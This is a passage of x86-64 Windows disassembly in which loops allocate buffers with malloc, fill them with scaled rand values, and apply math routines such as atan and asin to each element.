movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xf664], 1
cmp dword [rbp + 0xf664], 0x140
jle 0x14000291c
mov dword [rbp + 0xf664], 0
jmp 0x1400029c4
mov eax, dword [rbp + 0xf664]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9bc0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xf664]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x9bc0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xf664], 1
cmp dword [rbp + 0xf664], 0x140
jle 0x140002972
mov dword [rbp + 0xf660], 0x1e
jmp 0x1400029e3
sub dword [rbp + 0xf660], 1
cmp dword [rbp + 0xf660], 0
jg 0x1400029dc
mov ecx, 0x1280
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9bb8], rax
mov ecx, 0x1280
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9bb0], rax
mov dword [rbp + 0xf65c], 0
jmp 0x140002aa7
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xf65c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9bb8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0xf65c], 1
cmp dword [rbp + 0xf65c], 0x24f
jle 0x140002a1d
mov dword [rbp + 0xf65c], 0
jmp 0x140002b15
mov eax, dword [rbp + 0xf65c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9bb8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xf65c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x9bb0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400cdb80
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xf65c], 1
cmp dword [rbp + 0xf65c], 0x24f
jle 0x140002ac3
mov ecx, 0x868
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9ba8], rax
mov dword [rbp + 0xf658], 0
jmp 0x140002b8c
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xf658]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9ba8]
add rax, rdx
movsd xmm1, qword [0x1400d6170]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xf658], 1
cmp dword [rbp + 0xf658], 0x10c
jle 0x140002b3e
mov dword [rbp + 0xf658], 0
jmp 0x140002bf6
mov eax, dword [rbp + 0xf658]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9ba8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xf658]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x9ba8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xf658], 1
cmp dword [rbp + 0xf658], 0x10c
jle 0x140002ba4
mov ecx, 0xa28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x9ba0], rax
mov dword [rbp + 0xf654], 0
jmp 0x140002c5d
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0xf654]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9ba0]
add rax, rdx
movsd xmm1, qword [0x1400d6168]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xf654], 1
cmp dword [rbp + 0xf654], 0x144
jle 0x140002c1f
mov dword [rbp + 0xf654], 0
jmp 0x140002cc7